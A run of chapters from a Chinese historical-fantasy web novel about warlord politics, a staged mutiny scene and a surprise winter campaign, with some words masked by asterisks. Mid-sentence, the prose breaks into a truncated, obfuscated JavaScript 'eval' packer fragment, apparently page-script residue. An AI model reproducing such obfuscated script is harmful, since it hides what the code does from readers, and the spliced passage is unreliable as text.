实际上,也无人多想,恰恰相反,从苏睦等武安旧将开始,随着这句话,在座众将纷纷起身,包括幽州、北地的将领也都没有破坏气氛,从张首席亲舅黄平到荡魔卫的黑延,刚来的监军张世昭,以及算是客将的侯君束,包括与李定并案的另一位龙头窦立德,全都象征性起身举杯,一起维护了李龙头的权威和此间和谐气氛。 李定也从容起身,当众与众将饮了一杯,但却没有着急坐下。 这让刚刚坐下来的苏靖方心里一个咯噔,立即晓得事情要来了……包括黑延几位经验老到的,也诧异来看,就连刚刚来投奔李定没多久的亲弟弟李客都明显有些发懵。 果然,王臣愕举杯饮了之后也没有归座,而是扔下酒杯,上前几步,直接跪下,扯住了李定的衣袍,一张嘴,还未说话,就先流下眼泪,半晌才在许多人的惊疑之中开口:“战帅于我有救命之恩,今日局面,战帅身死就在眼前,属下不得不吊!” 李四明显等这话等的有点急,立即作势摆手:“王将军这是什么话?我如何就要身**?!” “战帅还没看清楚吗?!”一片寂静之中,王臣愕努力大声来道。“你现在受任一方,提领大明兵马近半,偏偏所部皆出自黜龙帮之外……这还不算,渡海之后,如若兵败,自然要将你做象征,杀之以谢国内!而若成功,巫地人员要不要招募任用,巫族外事要不要自行其是?北地大军要不要赏罚升黜?如若攻入关西,直入长安,要不要安排分派人员为任?偏偏到了那个时候,你的功勋已经超过了张首席,他还能容你?! “所以,战帅此番出征,是败亦死,胜亦死!属下难道不该吊吗?!” 说完,王臣愕抱着李定的大腿,痛哭流涕不止! 周围上下,不知道是慌了还是懵了,竟然任由这位将一大段荒悖之言清晰无误的倒完,然后还任由他在这里哭泣,也没人起身的。 苏靖方脑子转的极快,瞬间回过神来,趁机四下去看众人反应,却见他爹苏睦目瞪口呆、惊疑不定;他妻子窦小娘则慌里慌张反复在窦立德和他身上回转,似乎是想要什么答案,可同时却也扶住了腰中长剑;而他的岳父窦立德只神色怪异盯着身侧的李定……但那眼神跟他爹苏睦还不一样,他爹明显有惊吓和惊疑,而他岳父只是一种单纯的不解和震惊。 好像长见识了一般! 至于其他人,要么如李客那般战战兢兢双手发抖,要么就如苏睦那般弄不清情况,要么就如窦小娘那般慌张中带着某种跃跃欲试,但也有少数人如窦立德那般满脸疑惑,唯独目光转了一圈,迎上了张世昭,却发现后者正跟自己一样四处乱看。 两人目光相对,还本能的干笑了一下,相互点了下头,稍作致意。 落日堂外,落日被乌云遮蔽,只有冬日微微寒风卷着一点小小雪花能被人看清,堂内却热如油锅。 好在李定没有让大家久等,便扶着对方一声叹气:“你这话其实是有些道理的,但如之奈何呢?” 王臣愕估计也是被堂中气氛给弄得心虚,此时闻言,抬起头赶紧厉声来对:“战帅,现在大行台那里主力刚刚苦战一场,回到邺城后便也解散回家过年,河北至此皆有风雪,而我们已经做好了冬日作战的准备,这不是天赐与战帅的机会吗? “战帅集合此间兵马,明日伪作渡海,其实南下,自晋北登陆,然后出恒山,沿着旧领四郡南下,沿途动员旧部,并让前魏齐王召回牛河……这样的话,只要扑到邺城城下,则大势可定! “更何况,人尽皆知,战帅年轻时曾遇真龙,与你批下命格,说你遇龙而颓,遇猪而废,遇客而富,遇山而兴,遇潮而止……这苦海虽窄,依然是潮!便该在这里停步!而红山便是山,回身南下,反而将会大兴! “这难道不是说战帅天意所归吗?” 李定一声长叹,跌坐在座中,便要言语一番。 孰料,此时坐在末尾的窦小娘终于不能忍耐,当即拍案而起:“龙头!姓王的鼓动你**,为何不立即杀了?!” 苏靖方心里咯噔一下,便晓得自己师父玩砸了,果然,随着窦小娘起身,呼啦啦站起来二三十人,客将末尾的侯君束更是趁机扶剑而出,大声宣告: “窦龙头,若是李龙头念及旧情犹疑不定,请你下令!我必斩了此人!” 这音量,彷佛他是什么苗红根正的黜龙帮头领一般。 此言既出,又有十几人起身,起身的十几人中则有七八人一起拔剑……算起来,此间已经站起来三分之二的人了。 李定眼见如此,只觉得嗓子里发痒,赶紧摆手:“都坐下!不要喧哗!” 窦立德回过神来,也赶紧无语呵斥:“都且听李龙头说话嘛!真能**?!” 李定也晓得不好,只能在自己座中扶着王臣愕明显发抖的肩膀,然后去看上下所有人,不由一声叹息:“你们呀,既是小瞧了我,也是小瞧了张首席!我李四如何会反了张三?!” 得到这话,才有几人坐下。 “你们不晓得我跟张首席的交情。”李定继续缓缓言道,将腹内准备好的言语摆出。“当年在东都,我们贫贱相交,常常谈论天下大势,动辄通宵达旦,张首席擅长**,我擅长军事,常常自诩能重塑天下,结果呢,等到雁门之围前,他老早就猜到都蓝会来**,我却笃定都蓝不会来! “最后都蓝果然围了城,他却没有笑话我,因为他知道,军事都是**推动的,而我虽然擅长军事,却因为连续多年蹉跎为下吏,执着于前途,反而对**已经失去了洞察。” 话到这里,更多的人也都讪讪坐了下来,更有几人直接醒悟过来,而早就醒悟的几位此时则是真被李定言语给吸引住了。 “后来,暴魏三征,天下大乱,他浮马沽水,入东境而立黜龙帮,我恰好为都水使者,在蒲台掌管军需和民夫,也趁机建立了一支兵马,占据了两县之地。这个时候他来找我,希望我能入黜龙帮做个龙头,然后和他一起清扫东境、河北,以成大事。我却觉得,这些人都是乌合之众,难以成事,便将蒲**程名起那些人交予他,自己孤身回了东都。 “现在大家都知道,黜龙帮已经天下三分有其一,是我有眼无珠。但他却从未因此嘲讽我,反而屡屡来信,要我去与他汇合。因为他知道,我出身关陇名族,亲眷友人、家族影响都在关西,凡人就是难脱离出身的窠臼,属于人之常理。 “再后来,我得到机会,出任武安太守,而他也很快到了河北,依旧是屡次好言相劝,让我与他合流,我却还是不应,甚至加入当时的朝廷联军讨伐他。结果呢,到底是天下板荡,各方归位,黜龙帮得了河北立为根基,我也降服于他了。 “而且大家都晓得,他还是没有与我作态,反而屡屡推崇我,任用我。这是因为他知道,我这个人少年负志,中年蹉跎日久,便存了逆反之心,乃至于逆天逆人,就是觉得这天下非我莫当,连至尊的神像都要打几鞭,自然也存了与他较劲的心思……不过这个坎,终究不能服从于他。 “当然,他一再优容于我,总是因为他知道,也愿意相信我李定是一柄足以替他割取天下的快刀,所以至此。 “诸位,诸位,以此而论,不敢说生死契阔,情同骨肉,可所谓生我者父母,知我信我者张行,总是说得通吧?” 言至于此,已经满堂无声,大家也多猜到今日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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历山这里也是如此,张行昨日渡河后与柴孝和分开,径直来此……他不是专门来这里的,原本他只是想从这里取道,顺便做下祭祀,然后就要去济阴那边去见单通海、王焯、伍惊风等南线将领,迅速确定攻击计划……可能还要安抚和说服这些头领,毕竟下雪了,这种情况下发动大规模攻势,肯定会有非战斗减员,而一些头领对此类事情是素来有抵触的。 然而,等到简单的祭奠仪式于山下完成后,这位首席不知道是注意到了什么,竟临时改了主意,然后便在本地官员与踏白骑的护送下登上了山顶。 来到此间,赫然立着一座破败的小观。 “按照首席的要求,我们没有碰这座观。”本地县令虽然出身踏白骑,但面对如今的张行时还是有些紧张。“这些都是它自败。” 张行点了点头,而前面尉迟融伸手一推,这座无名小观那已经半垮塌的木板门便整个塌掉。 众人随即走了进去,此地积雪甚多,却遮掩不住道观的破败,到处都是自然倒塌的痕迹,入得中堂,就连里面分山君的宫装女子形象雕塑与真龙形象的木刻也都朽败。 这让张行不禁一声叹气。 旁边那位县令立即上前询问:“首席,需要稍微整修一下吗?这观极小,每季我们都有人手来整修墓地,顺手的事情,绝不会劳动太多。” “不必。”张行摆手道。“分山君本君我们都打过,何况是一座观?再说了,这观已经没有真气汇集了。” 县令立即颔首。 尉迟融在侧,颇为诧异:“按照首席的意思,之前这观有真气,真是真龙居所?可现在为何又没了?难道是这真龙怕了我们黜龙帮,竟不敢来了?” 张行没有直接回答,而是穿过小观,来到挨着山壁的后院,此地只有一处石桌石椅尚存,也被枯藤和新雪遮蔽,而从这里望去,哪怕是没有修为的人也能看到一处堪称奇观的景象——对面和此间下方的山麓上,数不清的墓碑层层叠叠,虽然雪中看不清墓碑本身,但因为墓碑的遮掩,碑后并没有积雪,反而使得墓地醒目。 远远望去,彷佛什么鳞甲一般长在山上。 而若真是什么鳞甲的话,那鳞甲之下的巨物怕是已经不逊于分山君本身……而且完全可以想见,随着战争的继续,在数年间,这里的墓碑数量还会继续增长,这种情况下,什么真龙怕是都要退避的。 只不过,靠着**数量压倒一条活生生的真龙,固然悲壮,也难免让人哀伤,随行之人,全都沉默,不再多问。 “这便是三哥急切发兵的缘故吗?”半晌,还是最亲近的秦宝打破了有些过头的气氛。 “这就是人心思定的缘故。”裹着披风的张行缓缓摇头。“打仗这事谁都经不住……咱们如此,关西人也如此,江南人如此,巫族人跟东夷人还是如此!神仙真龙都撑不住!没必要求全责备了,天下统一已经是足够好的答案了。” 秦宝似乎听出了对方一点额外的意思,但当此情境,也没有多做表示,只是点了点头。 “走吧,不必等雪停了,现在就出发!”张行回头吩咐。“给刘黑榥他们下令,让他们先行!” 众人不敢怠慢,各自收敛心神,匆匆下山去了。 早一日渡河的刘黑榥部与张公慎部四千骑到底是大部队,反而落在了张行身后,此时正驻扎在了济北郡与东平郡交界地的寿张县境内,而因为起了风雪,两营骑兵都在查看和照顾自家战马,倒也真没起什么多余的心思——过年、赏赐、军功、家人,全都被暂时淹没在风雪中。 非只是下面军士,就连刘黑榥、张公慎这两位堪称要害的主将也都没有太多心思。 只不过,暂时淹没他们俩的并不是什么风雪,而是即将开始的淮西-南阳战役中自己这两营骑兵的战术定位——之前的河内战场过于逼仄,双方又都是立鼎的强军,打的有来有回,委实难让骑兵发挥优势,白捱了一个多月的苦战,所以此番南下,自然会想着地形开阔,河道封冻,可以放肆一些。 最好立下一些奇功,不使得几营骑兵上上下下都被人笑话。 所以,他们一直在等待即将召开的军议,或者是更直接的军令。 “军令!”细密的雪中,数骑径直闯入中军。 刘黑榥不慌不忙,披着大氅、挂着鲸骨牌大步走了出来,只见这伙子骑兵里,外围数骑,一半悬铃,自然是巡骑,一半配着雕花马甲,是刘黑榥本部,中间围着一人,却不是寻常参军、文书,乃是一名眼熟的踏白骑,便当即兴奋起来:“首席有何军令?” 那踏白骑见到刘黑榥开口,方才翻身下马,将一封手书送到。 刘黑榥打开看了一看,先是一愣,再是大喜,只是强行按住:“只是如此,首席可有其他交代?” “首席说了,若是可能,尽量不要惊动梁郡,而到了淮阳之后声势务必壮大……”踏白骑立即叮嘱。“但首席也说,这些只是最好如此,一切还是以奔袭淮阳为上,越快越好,这是唯一军令。” 刘黑榥连连颔首,再不迟疑,不顾漫天飞雪,大声呼喊,要包括张公慎营在内,全军准备,即刻成行。 而其人下达完军令,眼见那踏白骑要走,方才想起什么,终于认真来问:“首席现在何处,还在历山吗?” “回禀大头领,委实不晓得,非要猜测,现在应该已经到了济阴。”那踏白骑在马上稍作回转,便打马而去了。“我从历山下来时,踏白骑已经往济阴方向去了。” 刘黑榥更加操切,直接对属下催促起来。 张行当然不在历山,也不在济阴。 而且这一日,从历山,或者说从他身侧下达的军令不止是一封,整个河南,从单通海的济阴行台到王焯的內侍军,从已经在淮西前线的伍惊风部到登州、徐州各部,全都有针对性的军令。 内容参差不齐,但合在一起,无外乎是先锋先动,同时在后方发动接应式攻击并汇集兵力,尽可能快的、突然的对整个淮西地区进行打击。 没错,刚刚渡河,漫天飞雪,黜龙军便直接发动了攻击。 廿八日一早,风雪稍驻,张行和随行踏白骑更是抵达梁郡。 具体来说,是梁郡郡城宁陵城外。 这里是黜龙军的统治范围之外——梁郡太守曹汪、淮阳郡太守赵佗,早年大魏崩坏时就是墙头草,名义上都跟黜龙帮对立过,也都暗地里接过头,但之前司马正北归,双方在谯郡做过一场,就此分野,淮阳郡全郡归了东都,梁郡除了东四县也归属东都。 当然,谁都知道,这两家是半独立势力,是双方的缓冲。 只是来到这日早晨,忽然有人告诉还沉浸在河内战事的曹汪曹太守,张行来了。 “谁?”还没从火炕上起床的曹汪有些发懵。“谁要见我?” “不是见,是召见。”同样衣冠不整的郡丞焦急来言。“是咱们张首席来咱们梁郡视察,所以要召见头领曹汪!要你赶紧出城去迎接!” 曹汪到底是七八年的军阀,算上之前在本郡的太守经历,他足足在这河南四战之地的谯郡把持快十年,脑子还是有的,几乎是片刻便意识到发生了什么事情,立即从火炕上跳下来,匆匆穿衣。 见他这个样子,上下都松了口气。 而等到曹汪走出衙署,翻身上马,沿着城内大街走了半截街,眼见着不知道谁已经把踏白骑放出来了,红底“黜”字旗下,算是见过几次的张行张首席骑着黄骠马正往自己这里来,不由更加惴惴,干脆下马侍立。 只是甫一下马,一阵风卷着地上积雪一吹,当面而来,这位大魏宗室出身的资历军阀忽然又清醒了三分,然后忍不住压低声音,恳切来问身侧郡丞:“我当年入黜龙帮的时候,难道不是大头领吗?” 正所谓: 涣水河畔几曾见,兔园馆内当面谈。 正是河南好风景,风霜时节又逢君。 PS:大家端午快乐,人人发大财! 第九十一章 送乌行(1) 十一月廿八日,张行带踏白骑冒雪入梁郡后,并未与梁郡上下发生任何多余冲突与对抗,甚至没有什么多余讨论。 张首席就好像真的来到黜龙军前线某个郡一般,询问本郡所存粮草、军械、防卫兵马,然后告知他们,已经有四千骑先锋抵达淮阳郡内,并有河南各行台各处兵马将经行此地前往扫荡淮西-南阳十郡之地,以求打通荆襄,联结南线……所以梁郡这里要做好准备,充当前进基地。 梁郡上下当然也非常专业,包括曹汪曹太守都没有把自己待遇问题拿出来影响公务,而是有条不紊的进行军事后勤准备。 当日而已,黜龙军的巡骑就已经接替并控制了梁郡的军情传递体系,一直在河南坐镇的八臂天王张金树也于当晚来到梁郡郡城宁陵,负责把控河南各处内外情事。 第二日,也就是廿九日上午,得到军令的单通海便也率济阴行台两营四千骑抵达此地,四千骑过城不入,径直去支援淮阳,单通海则单独入城与张行见面,知晓方略后也没有多待,而是赶紧追上部队,去往淮阳。 下午,济阴行台的四营步卒陆续自济阴一带抵达梁郡宁陵附近。 卅日上午,军情来报,伍惊风已经于昨日自谯郡大道攻入淮阳,一战擒杀了想要逃离淮阳郡治宛丘的淮阳太守赵佗,而先行抵达的刘黑榥、张公慎两营骑兵更是离开宛丘继续顺着官道直奔南阳兼东都门户——颍川! 张行不敢怠慢,不等后续兵马,便带着曹汪在内的几位头领与这四营兵马启程过结冰的涣水,自北线往颍川而去。 就这样,时间来到腊月初一,张行率领踏白骑正式进入颍川,算上前一日和当日晚些时候,同时进入颍川的,还有刘黑榥所领两营以及单通海所领济阴行台八个营,分别自北面荥阳、东面梁郡,南面淮阳三面包入,部分梁郡郡兵以及部分河南巡骑也都随行。 而与此同时,伍惊风尽起谯郡行台七营兵马,并同时召唤了內侍军,在攻入淮阳后迅速南下,开始扫荡汝阴郡。 柴孝和带领济北行台三营兵马以及柳周臣的军法营外加王雄诞、阚棱、冯端三营,也开始进入梁郡。 牛达、程知理的联合支援部队也应该已经启程。 到此为止,黜龙军已经动员了二十余营,靠着风雪掩护发动了大规模奇袭,成功逼降一郡,并轰入其余三郡……考虑到明明十来天前黜龙军还在河内与关西军连续进行十万人级别的盘肠大战,考虑到冬日风雪、凌汛,考虑很可能还有十余营兵马在路上,黜龙军这一波南线**委实震动了整个河南地区。 不对,是震动了整个天下。 没人会觉得二三十个营算什么了不得的兵力,但问题在于,这种战役发动能力的余裕以及丝毫不留空隙的发动速度,简直让人胆寒。 “放弃颍川,让前线部队退到襄城郡,无论如何得守住阳翟……”十几日前还大发神威的司马正此刻待在自己的白塔中竟也觉得头疼欲裂。“我亲自去,夜里就去!兵马可以等明日一早再出发!” “若是这时关西军复来呢?”李枢在侧,赶紧来问。“来取弘农如何?出武关走上洛直入南阳又如何?” “真要是这么来了。”司马正闻得此言,反而冷静下来。“就按照之前计划,尽弃南阳、淮西,死守东都。” 李枢在内,许多人都脸色黯然起来……但根本不需要说出来,这些人自然也晓得是怎么回事,无外乎是之前河内之战中司马正的隐忍与爆发过于成功,东都近乎兵不血刃而取得了战略胜利,还通过一战大大威慑了其余两家,以至于现在被人家一个突袭反扑打回原形后有些难以接受。 “关西军一定会来吗?”薛万论忍不住来问。“他们也猝不及防吧?此时他们的主力兵马必然已经解散回家过年了,未必要强征兵马再出关吧?白横秋也算是威望大损……” “关西军一定会来。”李枢回头肃然解释道。“就好像当初关西军出河内,黜龙军必然会来一般无二,他们赌不起!” “但关西军一定会来的慢,来的晚。”牛方盛插嘴道。“能不能想法子集中兵力,先击退黜龙军?而且,若是能击退黜龙军,关西军便也不会动了吧?” “道理上可行,实际上很难!”李枢继续解释道。“不说关西军很快就会得到消息,只说想要击退黜龙军,无外乎两条路,一则出大军攻荥阳,逼迫黜龙军撤军,可我若是张行,便干脆弃了荥阳,来换南阳、淮西十郡之地又如何?难道元帅能弃了东都继续顺着济水打? “二则便是在阳翟守住颍水,趁着关西军和黜龙军的登州、徐州后续未到,集中兵力反扑……可问题在于,他们此番突袭已经成功了,淮西三郡可不止一个淮阳无了,张行既然推到颍川,那淮西就被隔绝了,淮西的人力物力我们就用不上了,而淮西一旦全失,南阳五郡反过来也会被隔绝,人心必然动荡……” 白塔内,几人听到一半便醒悟过来。 这牵扯到东都势力内里一个重大问题——东都势力的核心固然是当年曹彻整饬的那支骁锐,但不代表没有别的、泾渭分明的存在,这里面最明显的两家分别是东都留守势力以及王代积和他的淮南兵。 东都留守势力毋庸多言,就是没去过江都,一直留守的大魏残余势力,属于曹林和大魏的遗产,对于此时东都而言还不知道下落的曹汪、赵佗都属于这个势力的外围支柱,利用河内之战刚刚逃回来的罗方、薛亮则是其中内部骨干。 至于王代积,他本人当然也算是东都-江都-东都这个流程走下来的老人,但问题在于,早年他奉命出巡淮南,成功拉起了一支兵马,并在攻破杜破阵,回归东都这个过程中独立领军,且在事后也没有回归东都,而是在南阳一带经营,渐渐培养起了自己的势力。 为此,东都这里一直有流言,说王代积跟张行、李定关系莫逆,存有观望之心。 如今淮西被突袭得手,南阳与淮南通道被隔绝,一旦出现什么波折,谁晓得王代积和他部下淮南军的立场? “所以才要尽快去颍川安定人心。”连司马正都没有否认人心动荡,而是直接越过了这个话题。“我走后,还是按照之前那般安排……请苏公、牛公他们负责行政庶务,七叔总领东都防务,你们把守各处关碍、卫城,西苑也要放人……” 司马正话到一半,明显有些迟疑。 李枢心中微动,拱手道:“元帅,要不要属下随你去?” “不行!”司马正正色摆手。“正要借李尚书的大局观替我中转和汇总各路军情民情,所以须你留在此处辅助七将军……当然,若能有两个英锐之将替我抵挡秦宝、尉迟融这两个踏白骑的先锋,对上张行把握总会大些。” 李枢之后,在场还有不少将领,此时闻言却多有些回避之态。 这些人可是跟黜龙军在谯郡一带打过大仗的,自然晓得黜龙军实力,而秦宝跟尉迟融这俩人,就算他们中有人没见过,可既然是踏白骑的两翼先锋,是司马正都要忌讳一二的,那自然不用多想。 不过,或许是觉得这么逃避有些尴尬,或许是单纯想搞一下人事斗争,忽然间,牛方盛拱手以对:“元帅,我荐两人!当年大太保、二太保名震京师,而且此番擒获白横秋爱将归来却不投靠黜龙帮,忠心更是无二,何妨请他们二位出动,随你出镇阳翟?” 司马正愣了一下,多看了对方一眼。 牛方盛尴尬不已,却只是闭口不言。 司马正无奈摇头:“罗方修为到了成丹许久,或许还能抵挡住刚刚成丹的尉迟融,薛亮拿什么抵挡秦宝,不是让他送死吗?” “尚大将军如何?”李枢忽然想到一人。“尚大将军上次落败于秦宝,根本上是黜龙军全线占优所致,这恰恰说明他其实是能抵挡住秦宝的……而现在单通海他们都去了淮西,故意撇下荥阳,偏偏我们也不好去,何不让尚大将军暂时离了龙囚关,与罗方一起出阳翟?” 司马正思索片刻,还是摇头:“咱们力微地小,东都防卫不可轻忽……何况尚师生到底是秦宝手下败将。” 李枢还要说什么,司马正复又摆手:“就这样吧,我一人也不是不能对付,只是上下须做好两面夹击时南阳各部一起撤回东都的准备,仅此而已。” 已经是兵部尚书的李枢终于也不说话,而是带头向司马正行了一礼,丝毫不见之前在黜龙帮时居于人下的种种不甘。 就这样,众人议定,等到晚上司马正便连夜直奔阳翟而去,翌日将今日集结来的兵马发去阳翟辅佐……也是没办法的事情,李枢说的对,张行的突袭太出乎意料了,也太成功了,所谓自古用兵莫过于出其不意攻其不备,东都就是被打了个没辙。 而司马正坐在白塔之上,等到所有人离去,眼瞅着暮色将临,到底是心中不安,先去南衙见了自己七叔司马进达,然后竟真去找了罗方。 此时的东都城自然是不缺大宅子的,但意外的是,罗方和薛亮只在承福坊一个小宅子里居住,再加上他们连今日的会议都没参加……倒不是说被司马元帅给怀疑监视起来了,而是时间太紧了……想想就知道了,这才十来日的功夫,两人身上还带着伤,之前在河阳呆了几日,回到东都又去祭祀了义父在北邙山的衣冠冢,再跟司马元帅聊聊、跟苏首相聊聊,吃两顿宴席,估计东都这边还没想着如何安置他们俩呢,那边张行忽的一下就打到颍川了。 然而,本该更加震动的罗方、薛亮二人听完之后却没有多少惊异之色。 “你们二人不惊讶吗?”司马正想起今日白塔上那几位听到消息时的惊惶,不免从座中来问。 “张行做出什么事来我们都不会惊讶。”对面的罗方率先开口,却又一声苦笑。 “其实不瞒司马元帅。”侧面的薛亮也摸着自己断掌来笑。“我们回东都,从不是因为觉得东都能胜,而是天下之大,已经没有了我们的容身之地,能死在东都故地,义父坟前,已经算是得偿所愿了。” 司马正一愣,不由心中复杂起来,既有些同病相怜之态,又有些烦躁不满。 但很快,后一种情绪就消失了。 因为薛亮说完那话,便起身拱手行礼:“而现在既已经回到了东都,再无牵挂,亮愿随元帅去前线,虽死而坦荡。” 司马正大为振奋,便要应声,目光却先落在对面罗方身上。 而罗方也缓缓开口:“我们二人自然没什么顾忌,只是我们也晓得,自己不是秦宝他们对手,所以,我想向司马元帅推荐一个人。” 司马正终于也笑了:“我都不知道东都有谁能对付秦宝,你们刚回来如何晓得?” 罗方也笑了:“此人恰好是跟我们一起刚来的外人。” 司马正懵住了,半晌方才来问:“此人愿降?” “当然不愿降。”薛亮正色道。“他对白横秋忠心耿耿,如何愿降?但正因为他对白横秋忠心耿耿,且出身低微醉心名望官爵功勋,何妨让他戴罪立功,与黜龙帮作战,立下功勋便许他归关西?” 司马正终于恍然,却是毫不迟疑:“既如此,咱们一起去见见这位薛大将军。” 事情比司马正想的还顺利,罗方、薛亮二人肯定是对薛仁的心态早有思量,三人一并来到昔日熟悉岛上,寻到白塔下的一个小院,而薛仁听完之后没有半分思量就立即答应下来,丝毫不顾自己刚刚恢复了七八分活力而之前连番受伤又有没有产生什么内伤暗伤。 反正就是答应了下来。 事情定下,司马正心中稍得宽慰,便也不再耽误,连夜往东南面而去,乃是过嵩山,出轘辕关,顺着颍水直趋阳翟。 此时,依然还是腊月初一日,四野积雪,头顶无光,可依着司马正这几乎算是如今天下数一数二的修为,天上藏起来的双月也好,四面八方的村落、道路,乃至于结了一层薄冰的颍水下方鱼鳖,周遭藏匿的兔鼠,他都能有所察觉。 一开始还好,他想着薛仁的单纯,还觉得挺乐——真的是许久没见过如此单纯直接的年轻人了,一个多月前才登上这天下正中的战场,完全没有被这天命人心拷打过,太好用了,怪不得连白横秋都要视若珍宝。 简直与自己年轻时一般。 然而,这种乐子心态很快就消失的无影无踪,取而代之的,赫然是他这几年在东都闲暇时最常见的一种心态,也就是对自己本心与命运的审视,以及那种永远说不清楚是因为挣扎还是因为顺从而升起的算是愤怒与悲壮混合的复杂情绪。 四野空寂,风声如啸,司马正越过轘辕关,立在嵩山之上,回头去望,大宗师修为下,只觉得那东都城池高大四面坚固,再往外,东都一面背江三面环山,八关锁钥,恰好如甲胄一般,层层包裹。 只是,又何尝不像是牢笼呢? 张三劝他逃出去!逃出去! 这话说的轻巧,可他是张三,一个外来户,说来就来,说走就走……可自己呢? 东夷人说他司马正是天命遗蜕,一切都是天命,让他去东夷,房玄乔更是引了一个镜子人来让自己照镜子,也说是天命遗蜕,自己也觉得他们都没说谎……可问题在于,难道不是自己选择观想的甲胄,难道不是自己选择回到这东都?难道当时留在徐州,坐视自己父亲弑君,然后沦为叛逆打手就更好受了? 说自己是天命遗蜕,一切都是安排,可如果能安排到这个份上,这天下谁逃得出天命?那张三也该**才对!为什么今日能逼迫自己到这个地步? 而且,更重要的一点是,也是司马正始终不能越过去的一点——若说自己是被天命操纵,那这个过程中,自己在西都的少年游,东都的宦海经历,在祖父膝下承欢,在同僚宴饮中失态,包括对父亲的失望,难道也是假的吗?! 整个东都百万生民,自己日听夜听,满城都是喜怒哀乐,生老病死,难道都是假的吗?! 正因如此,司马正不愿意接受,也不愿意逃窜,更不愿意投降。 他想试一试,万一能自内而外打破这层甲胄呢? 也不知道想了多久,东方渐渐发白,立在城头上的司马正转身走入了阳翟城,并在唤醒本城县令后开始发布军令……没错,阳翟虽然是大城、名城,但此时只有一位县令,连个守将都无……谁能想到这种腹心之地在区区两三日内就要成为前线呢? 说着说着,又下雪了。 腊月初二,伴随着雪花,来自东都与阳翟的军令纷纷不停,且不说颍川那里能撤回去多少人,黜龙军又如何飞速推进,只说这南阳-淮西战场上的一位关键人物——王代积。 王代积这个时候正在淮阳郡……不是什么特殊安置,而是进入腊月,正该安抚犒赏士卒,他从西面南阳过来送一些伤病老卒回淮南老家,对应的,也准备去东面汝南一带去看看刚刚招募的一批新卒,顺便慰劳驻扎在淮阳这里的一支五千人的机动部队。 驻军首领唤作闻人寻安,典型的淮南土豪家族出身,利用之前乱世南北对峙传了上百年那种,淮右盟建盟时他就是骨干了,但淮右盟本身拢不住人,尤其是当时杜破阵自己都对黜龙帮三心二意,于是当王代积背靠着军事实力强大的江都“巡视”淮南时,他还是倒向了王代积,和王代积结了姻亲,并成为了王代积这支淮南精兵的一号人物。 按照东都那里给的正经文告,他都已经是一卫将军了。 王代积自然看重自己闻人寻安和这支兵马,前天到了以后便例行絮絮叨叨不停,弄得后者心烦,而到了昨日,也就是腊月初一,忽然间兵荒马乱起来,乃是有一名淮阳逃人至此,告知了黜龙军大局来袭的消息。 当然,消息是混乱的,这逃人自己都不知道情况,只晓得下雪后不久成千上万的大军忽然就围了淮阳郡城宛丘,然后一下子就破了。 王代积心乱如麻,只好让闻人寻安派人去淮西驻军打探军情,以作后续,而也就是这个时候,又一名不速之客忽然抵达。 来人唤作郭祝,是闻人寻安的亲外甥,也是王代积的继侄。 但当年淮西大变,也就是淮右盟西走,黜龙军南下,徐州军北归时,郭祝在闻人寻安有意识的许可下,一直跟随着淮右盟,直到失去讯息。 王代积和闻人寻安多少年的道行,当然晓得对方过来是干什么,但不管应不应,目前两眼一抹黑,正要确切军情,所幸正在劳军,那家宴肯定要先摆上来,好认真听一听的。 “你现在在何处?还在淮右盟?还是去黜龙帮?可在大明官阶里有了职司?结了婚没有?”眼见着郭祝一身风雪,脸上殊无之前分别时的稚嫩,只在那里大口吃肉,王、闻人二人都有些沉寂,半晌,还是闻人寻安做惯了舅舅的,忍不住开口,竟没问什么正事。 “结婚了。”郭祝抬头应声。“刚结婚,年中相亲会里认识的,登州人……我现在在徐州,也没离了淮右盟,只是义父南下后我们这些留守淮南的都被徐州牛龙头给卷了过去……至于职司,按照牛龙头的言语,我若是此行能把你拉回去,孬好是个正经头领,拉不回去,就去战场拼命。” 王代积和闻人寻安面面相觑,各自心情复杂。 随即,王代积勉力来笑:“小郭,只是牛龙头让你来找你舅舅,没有张首席让你找我?” “叔叔说的什么话?”郭祝擦了嘴,打了个嗝。“张首席便是要找你,也不能来淮阳找你,肯定去南阳……咱们是撞上了。” “张首席果然来了?” “来了,整个河南都动了,他如何不来?”郭祝从容做答。“只是不晓得现在去何处了……” “整个河南……” “济阴、谯郡、徐州、济北、登州……四个行台加一个总管州,应该都有军令。”郭祝继续言道。“梁郡降了,淮阳同日突袭得手,我来的路上汝阴也要被攻下来了……那些人根本没想到我们会发大兵,伍龙头领着七个营从颍水西岸下来的,他们拿什么打?那时候我便晓得为何我家龙头要我赶紧过来这里了,再不来,怕是一点功勋也无。” “若是这般说……”闻人寻安稍一思索,心中发凉,屁股都忍不住挪了一下。“颍川怕是也无了!伍惊风自淮阳南下来取汝阴,然后是汝南……北面颍川必然是济阴行台单通海去取,济阴行台实力是仅次于大行台的,兵多将广!而若取下颍川……” “取下颍川就到头了。”素来絮叨的王代积终于没有忍住。“司马元帅知道颍川没了,肯定去阳翟,阳翟是古时候大颍川郡的郡治,是现在襄城郡最东端,挨着如今的颍川郡,卡住颍水,背靠东都八关之一的轘辕关,保住这里,不光是能保住东都,还能保住通往南阳的鲁阳关……” “保住鲁阳关又有什么用?”闻人寻安忽然发问。“鲁阳关只是东都通往南阳的关隘,他们想取南阳,只要打下汝阴后,依次往汝南、淮阳这里打过来,然后自然可以去打南阳。” “哪里需要打南阳?”郭祝接口道。“只要打到这里,隔绝南阳与淮南通道,南阳的淮南子弟必然不能忍受,何况关西不出兵?到时候南阳五郡被三面包围,军心动荡……当年江都的骁锐为了回东都都能杀了曹彻,何况是眼下?” 王代积张口欲言。 闻人寻安想了一下,也来看王代积:“总管,祝儿这话真不是胁迫你,你想过没有……黜龙军这次大举突袭,果真是为了打下东都?之前河内一战打成那样,如何现在就能胜?我怕张首席的根本目的就在南阳跟淮西!吃掉这十来郡富庶之地,一来自肥,二来削东都根基,三来联通荆襄,支援白龙头……换言之,总管,人家是本就是冲咱们来的!而咱们措手不及,前卫尽失,归途也尽失。” 王代积怔怔看了桌上这对舅甥一眼,却又只闭嘴去看门外雪花,那对舅甥也不再多言,只盯着他来看。 过了不知道多久,这王老九方才一声长叹:“你们这是要……要我做不忠不义之人!” 闻人寻安和郭祝眼神都变了。 